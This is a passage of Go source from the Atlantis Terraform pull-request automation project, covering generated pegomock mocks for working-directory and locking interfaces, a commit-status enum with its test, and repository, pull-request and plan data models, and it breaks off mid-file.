&MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_DeleteForWorkspace_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, r, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) *MockWorkingDir_DeletePlan_OngoingVerification { _params := []pegomock.Param{logger, r, p, workspace, path, projectName} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlan", _params, verifier.timeout) return &MockWorkingDir_DeletePlan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_DeletePlan_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, string, string) { logger, r, p, workspace, path, projectName := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1], path[len(path)-1], projectName[len(projectName)-1] } func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 []string, _param5 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } if len(_params) > 5 { _param5 = make([]string, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification { _params := []pegomock.Param{logger, r, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetGitUntrackedFiles", _params, verifier.timeout) return &MockWorkingDir_GetGitUntrackedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_GetGitUntrackedFiles_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, r, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) *MockWorkingDir_GetPullDir_OngoingVerification { _params := []pegomock.Param{r, p} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullDir", _params, verifier.timeout) return &MockWorkingDir_GetPullDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_GetPullDir_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { r, p := c.GetAllCapturedArguments() return r[len(r)-1], p[len(p)-1] } func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification { _params := []pegomock.Param{r, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetWorkingDir", _params, verifier.timeout) return &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_GetWorkingDir_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { r, p, workspace := c.GetAllCapturedArguments() return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) *MockWorkingDir_HasDiverged_OngoingVerification { _params := []pegomock.Param{logger, cloneDir} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HasDiverged", _params, verifier.timeout) return &MockWorkingDir_HasDiverged_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_HasDiverged_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { logger, cloneDir := c.GetAllCapturedArguments() return logger[len(logger)-1], cloneDir[len(cloneDir)-1] } func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_MergeAgain_OngoingVerification { _params := []pegomock.Param{logger, headRepo, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergeAgain", _params, verifier.timeout) return &MockWorkingDir_MergeAgain_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_MergeAgain_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, headRepo, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_working_dir_locker.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: WorkingDirLocker) package mocks import ( "reflect" "time" pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" ) type MockWorkingDirLocker struct { fail func(message string, callerSkip ...int) } func NewMockWorkingDirLocker(options ...pegomock.Option) *MockWorkingDirLocker { mock := &MockWorkingDirLocker{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockWorkingDirLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWorkingDirLocker) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string, projectName string, cmdName command.Name) (func(), error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDirLocker().") } _params := []pegomock.Param{repoFullName, pullNum, workspace, path, projectName, cmdName} _result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 func() var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(func()) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDirLocker) UnlockByPull(repoFullName string, pullNum int) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDirLocker().") } _params := []pegomock.Param{repoFullName, pullNum} pegomock.GetGenericMockFrom(mock).Invoke("UnlockByPull", _params, []reflect.Type{}) } func (mock *MockWorkingDirLocker) VerifyWasCalledOnce() *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockWorkingDirLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockWorkingDirLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockWorkingDirLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDirLocker { return &VerifierMockWorkingDirLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockWorkingDirLocker struct { mock *MockWorkingDirLocker invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string, cmdName command.Name) *MockWorkingDirLocker_TryLock_OngoingVerification { _params := []pegomock.Param{repoFullName, pullNum, workspace, path, cmdName} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", _params, verifier.timeout) return &MockWorkingDirLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDirLocker_TryLock_OngoingVerification struct { mock *MockWorkingDirLocker methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetCapturedArguments() (string, int, string, string, command.Name) { repoFullName, pullNum, workspace, path, cmdName := c.GetAllCapturedArguments() return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1], workspace[len(workspace)-1], path[len(path)-1], cmdName[len(cmdName)-1] } func (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int, _param2 []string, _param3 []string, _param4 []command.Name) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]int, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(int) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]command.Name, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(command.Name) } } } return } func (verifier *VerifierMockWorkingDirLocker) UnlockByPull(repoFullName string, pullNum int) *MockWorkingDirLocker_UnlockByPull_OngoingVerification { _params := []pegomock.Param{repoFullName, pullNum} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockByPull", _params, verifier.timeout) return &MockWorkingDirLocker_UnlockByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDirLocker_UnlockByPull_OngoingVerification struct { mock *MockWorkingDirLocker methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDirLocker_UnlockByPull_OngoingVerification) GetCapturedArguments() (string, int) { repoFullName, pullNum := c.GetAllCapturedArguments() return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] } func (c *MockWorkingDirLocker_UnlockByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]int, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(int) } } } return } ================================================ FILE: server/events/models/commit_status.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package models // CommitStatus is the result of executing an Atlantis command for the commit. // In Github the options are: error, failure, pending, success. // In Gitlab the options are: failed, canceled, pending, running, success. // We only support Failed, Pending, Success. type CommitStatus int const ( PendingCommitStatus CommitStatus = iota SuccessCommitStatus FailedCommitStatus ) func (s CommitStatus) String() string { switch s { case PendingCommitStatus: return "pending" case SuccessCommitStatus: return "success" case FailedCommitStatus: return "failed" } return "failed" } ================================================ FILE: server/events/models/commit_status_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package models_test import ( "testing" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" ) func TestStatus_String(t *testing.T) { cases := map[models.CommitStatus]string{ models.PendingCommitStatus: "pending", models.SuccessCommitStatus: "success", models.FailedCommitStatus: "failed", } for k, v := range cases { Equals(t, v, k.String()) } } ================================================ FILE: server/events/models/models.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package models holds all models that are needed across packages. // We place these models in their own package so as to avoid circular // dependencies between packages (which is a compile error). package models import ( "errors" "fmt" "net/url" paths "path" "regexp" "strconv" "strings" "time" "github.com/runatlantis/atlantis/server/logging" ) type PullReqStatus struct { ApprovalStatus ApprovalStatus MergeableStatus MergeableStatus } // Repo is a VCS repository. type Repo struct { // FullName is the owner and repo name separated // by a "/", ex. "runatlantis/atlantis", "gitlab/subgroup/atlantis", // "Bitbucket Server/atlantis", "azuredevops/project/atlantis". FullName string // Owner is just the repo owner, ex. "runatlantis" or "gitlab/subgroup" // or azuredevops/project. This may contain /'s in the case of GitLab // subgroups or Azure DevOps Team Projects. This may contain spaces in // the case of Bitbucket Server. Owner string // Name is just the repo name, ex. "atlantis". This will never have // /'s in it. Name string // CloneURL is the full HTTPS url for cloning with username and token string // ex. "https://username:token@github.com/atlantis/atlantis.git". CloneURL string // SanitizedCloneURL is the full HTTPS url for cloning with the password // redacted. // ex. "https://user:@github.com/atlantis/atlantis.git". SanitizedCloneURL string // VCSHost is where this repo is hosted. VCSHost VCSHost } // ID returns the atlantis ID for this repo. // ID is in the form: {vcs hostname}/{repoFullName}. func (r Repo) ID() string { return fmt.Sprintf("%s/%s", r.VCSHost.Hostname, r.FullName) } // NewRepo constructs a Repo object. repoFullName is the owner/repo form, // cloneURL can be with or without .git at the end // ex. https://github.com/runatlantis/atlantis.git OR // // https://github.com/runatlantis/atlantis func NewRepo(vcsHostType VCSHostType, repoFullName string, cloneURL string, vcsUser string, vcsToken string) (Repo, error) { if repoFullName == "" { return Repo{}, errors.New("repoFullName can't be empty") } if cloneURL == "" { return Repo{}, errors.New("cloneURL can't be empty") } // Azure DevOps doesn't work with .git suffix on clone URLs if !strings.HasSuffix(cloneURL, ".git") && vcsHostType != AzureDevops { cloneURL += ".git" } cloneURLParsed, err := url.Parse(cloneURL) if err != nil { return Repo{}, fmt.Errorf("invalid clone url: %w", err) } // Ensure the Clone URL is for the same repo to avoid something malicious. // We skip this check for Bitbucket Server because its format is different // and because the caller in that case actually constructs the clone url // from the repo name and so there's no point checking if they match. // Azure DevOps also does not require .git at the end of clone urls. if vcsHostType != BitbucketServer && vcsHostType != AzureDevops { expClonePath := fmt.Sprintf("/%s.git", repoFullName) if expClonePath != cloneURLParsed.Path { return Repo{}, fmt.Errorf("expected clone url to have path %q but had %q", expClonePath, cloneURLParsed.Path) } } // We url encode because we're using them in a URL and weird characters can // mess up git. cloneURL = strings.ReplaceAll(cloneURL, " ", "%20") escapedVCSUser := url.QueryEscape(vcsUser) escapedVCSToken := url.QueryEscape(vcsToken) auth := fmt.Sprintf("%s:%s@", escapedVCSUser, escapedVCSToken) redactedAuth := fmt.Sprintf("%s:@", escapedVCSUser) // Construct clone urls with http and https auth. Need to do both // because Bitbucket supports http. authedCloneURL := strings.ReplaceAll(cloneURL, "https://", "https://"+auth) authedCloneURL = strings.ReplaceAll(authedCloneURL, "http://", "http://"+auth) sanitizedCloneURL := strings.ReplaceAll(cloneURL, "https://", "https://"+redactedAuth) sanitizedCloneURL = strings.ReplaceAll(sanitizedCloneURL, "http://", "http://"+redactedAuth) // Get the owner and repo names from the full name. owner, repo := SplitRepoFullName(repoFullName) if owner == "" || repo == "" { return Repo{}, fmt.Errorf("invalid repo format %q, owner %q or repo %q was empty", repoFullName, owner, repo) } // Only GitLab and AzureDevops repos can have /'s in their owners. // This is for GitLab subgroups and Azure DevOps Team Projects. if strings.Contains(owner, "/") && vcsHostType != Gitlab && vcsHostType != AzureDevops { return Repo{}, fmt.Errorf("invalid repo format %q, owner %q should not contain any /'s", repoFullName, owner) } if strings.Contains(repo, "/") { return Repo{}, fmt.Errorf("invalid repo format %q, repo %q should not contain any /'s", repoFullName, owner) } return Repo{ FullName: repoFullName, Owner: owner, Name: repo, CloneURL: authedCloneURL, SanitizedCloneURL: sanitizedCloneURL, VCSHost: VCSHost{ Type: vcsHostType, Hostname: cloneURLParsed.Hostname(), }, }, nil } type ApprovalStatus struct { IsApproved bool ApprovedBy string Date time.Time } type MergeableStatus struct { IsMergeable bool // Short human readable explanation of why the PR is (or is not) mergeable Reason string } // PullRequest is a VCS pull request. // GitLab calls these Merge Requests. type PullRequest struct { // Num is the pull request number or ID. Num int // HeadCommit is a sha256 that points to the head of the branch that is being // pull requested into the base. If the pull request is from Bitbucket Cloud // the string will only be 12 characters long because Bitbucket Cloud // truncates its commit IDs. HeadCommit string // URL is the url of the pull request. // ex. "https://github.com/runatlantis/atlantis/pull/1" URL string // HeadBranch is the name of the head branch (the branch that is getting // merged into the base). HeadBranch string // BaseBranch is the name of the base branch (the branch that the pull // request is getting merged into). BaseBranch string // Author is the username of the pull request author. Author string // State will be one of Open or Closed. // Gitlab supports an additional "merged" state but Github doesn't so we map // merged to Closed. State PullRequestState // BaseRepo is the repository that the pull request will be merged into. BaseRepo Repo } // PullRequestOptions is used to set optional paralmeters for PullRequest type PullRequestOptions struct { // When DeleteSourceBranchOnMerge flag is set to true VCS deletes the source branch after the PR is merged // Applied by GitLab & AzureDevops DeleteSourceBranchOnMerge bool // MergeMethod specifies the merge method for the VCS // Implemented only for Github MergeMethod string } type PullRequestState int const ( OpenPullState PullRequestState = iota ClosedPullState ) type PullRequestEventType int const ( OpenedPullEvent PullRequestEventType = iota UpdatedPullEvent ClosedPullEvent OtherPullEvent ) func (p PullRequestEventType) String() string { switch p { case OpenedPullEvent: return "opened" case UpdatedPullEvent: return "updated" case ClosedPullEvent: return "closed" case OtherPullEvent: return "other" } return "" } // User is a VCS user. // During an autoplan, the user will be the Atlantis API user. type User struct { Username string Teams []string } // ProjectLock represents a lock on a project. type ProjectLock struct { // Project is the project that is being locked. Project Project // Pull is the pull request from which the command was run that // created this lock. Pull PullRequest // User is the username of the user that ran the command // that created this lock. User User // Workspace is the Terraform workspace that this // lock is being held against. Workspace string // Time is the time at which the lock was first created. Time time.Time } // Project represents a Terraform project. Since there may be multiple // Terraform projects in a single repo we also include Path to the project // root relative to the repo root. type Project struct { // ProjectName of the project ProjectName string // RepoFullName is the owner and repo name, ex. "runatlantis/atlantis" RepoFullName string // Path to project root in the repo. // If "." then project is at root. // Never ends in "/". // todo: rename to RepoRelDir to match rest of project once we can separate // out how this is saved in boltdb vs. its usage everywhere else so we don't // break existing dbs. Path string } func (p Project) String() string { // TODO: Incorporate ProjectName? return fmt.Sprintf("repofullname=%s path=%s", p.RepoFullName, p.Path) } // Plan is the result of running an Atlantis plan command. // This model is used to represent a plan on disk. type Plan struct { // Project is the project this plan is for. Project Project // LocalPath is the absolute path to the plan on disk // (versus the relative path from the repo root). LocalPath string } // GenerateLockKey creates a consistent lock key from a project and workspace. // This ensures the same format is used across all locking operations. func GenerateLockKey(project Project, workspace string) string { return fmt.Sprintf("%s/%s/%s/%s", project.RepoFullName, project.Path, workspace, project.ProjectName) } // NewProject constructs a Project. Use this constructor because it // sets Path correctly. func NewProject(repoFullName string, path string, projectName string) Project { path = paths.Clean(path) if path == "/" { path = "." } return Project{ ProjectName: projectName, RepoFullName: repoFullName, Path: path, } } // VCSHost is a Git hosting provider, for example GitHub. type VCSHost struct { // Hostname is the hostname of the VCS provider, ex. "github.com" or // "github-enterprise.example.com". Hostname string // Type is which type of VCS host this is, ex. GitHub or GitLab. Type VCSHostType } type VCSHostType int const ( Github VCSHostType = iota Gitlab BitbucketCloud BitbucketServer AzureDevops Gitea ) func (h VCSHostType) String() string { switch h { case Github: return "Github" case Gitlab: return "Gitlab" case BitbucketCloud: return "BitbucketCloud" case BitbucketServer: return "BitbucketServer" case AzureDevops: return "AzureDevops" case Gitea: return "Gitea" } return "" } func NewVCSHostType(t string) (VCSHostType, error) { switch t { case "Github": return Github, nil case "Gitlab": return Gitlab, nil case "BitbucketCloud": return BitbucketCloud, nil case "BitbucketServer": return BitbucketServer, nil case "AzureDevops": return AzureDevops, nil case "Gitea": return Gitea, nil } return -1, fmt.Errorf("%q is not a valid type", t) } // SplitRepoFullName splits a repo full name up into its owner and repo // name segments. If the repoFullName is malformed, may return empty // strings for owner or repo. // Ex. runatlantis/atlantis => (runatlantis, atlantis) // // gitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis) // azuredevops/project/atlantis => (azuredevops/project, atlantis) func SplitRepoFullName(repoFullName string) (owner string, repo string) { lastSlashIdx := strings.LastIndex(repoFullName, "/") if lastSlashIdx == -1 || lastSlashIdx == len(repoFullName)-1 { return "", "" } return repoFullName[:lastSlashIdx], repoFullName[lastSlashIdx+1:] } // PlanSuccess is the result of a successful plan. type PlanSuccess struct { // TerraformOutput is the output from Terraform of running plan. TerraformOutput string // LockURL is the full URL to the lock held by this plan. LockURL string // RePlanCmd is the command that users should run to re-plan this project. RePlanCmd string // ApplyCmd is the command that users should run to apply this plan. ApplyCmd string // MergedAgain is true if we're using the checkout merge strategy and the // branch we're merging into had been updated, and we had to merge again // before planning MergedAgain bool } type PolicySetResult struct { PolicySetName string PolicyOutput string Passed bool ReqApprovals int CurApprovals int } // PolicySetApproval tracks the number of approvals a given policy set has. type PolicySetStatus struct { PolicySetName string Passed bool Approvals int } // Summary regexes var ( reChangesOutside = regexp.MustCompile(`Note: Objects have changed outside of Terraform`) rePlanChanges = regexp.MustCompile(`Plan: (?:(\d+) to import, )?(\d+) to add, (\d+) to change, (\d+) to destroy.`) reNoChanges = regexp.MustCompile(`No changes. (Infrastructure is up-to-date|Your infrastructure matches the configuration).`) ) // Summary extracts summaries of plan changes from TerraformOutput. func (p *PlanSuccess) Summary() string { note := "" if match := reChangesOutside.FindString(p.TerraformOutput); match != "" { note = "\n**" + match + "**\n" } return note + p.DiffSummary() } // DiffSummary extracts one line summary of plan changes from TerraformOutput. func (p *PlanSuccess) DiffSummary() string { if match := rePlanChanges.FindString(p.TerraformOutput); match != "" { return match } return reNoChanges.FindString(p.TerraformOutput) } // NoChanges returns true if the plan has no changes. func (p *PlanSuccess) NoChanges() bool { return reNoChanges.MatchString(p.TerraformOutput) } // Diff Markdown regexes var ( diffKeywordRegex = regexp.MustCompile(`(?m)^( +)([-+~]\s)(.*)(\s=\s|\s->\s|<<|\{|\(known after apply\)| {2,}[^ ]+:.*)(.*)`) diffListRegex = regexp.MustCompile(`(?m)^( +)([-+~]\s)(".*",)`) diffTildeRegex = regexp.MustCompile(`(?m)^~`) ) // DiffMarkdownFormattedTerraformOutput formats the Terraform output to match diff markdown format func (p PlanSuccess) DiffMarkdownFormattedTerraformOutput() string { formattedTerraformOutput := diffKeywordRegex.ReplaceAllString(p.TerraformOutput, "$2$1$3$4$5") formattedTerraformOutput = diffListRegex.ReplaceAllString(formattedTerraformOutput, "$2$1$3") formattedTerraformOutput = diffTildeRegex.ReplaceAllString(formattedTerraformOutput, "!") return strings.TrimSpace(formattedTerraformOutput) } // Stats returns plan change stats and contextual information. func (p PlanSuccess) Stats() PlanSuccessStats { return NewPlanSuccessStats(p.TerraformOutput) } // PolicyCheckResults is the result of a successful policy check run. type PolicyCheckResults struct { PreConftestOutput string PostConftestOutput string // PolicySetResults is the output from policy check binary(conftest|opa) PolicySetResults []PolicySetResult // LockURL is the full URL to the lock held by this policy check. LockURL string // RePlanCmd is the command that users should run to re-plan this 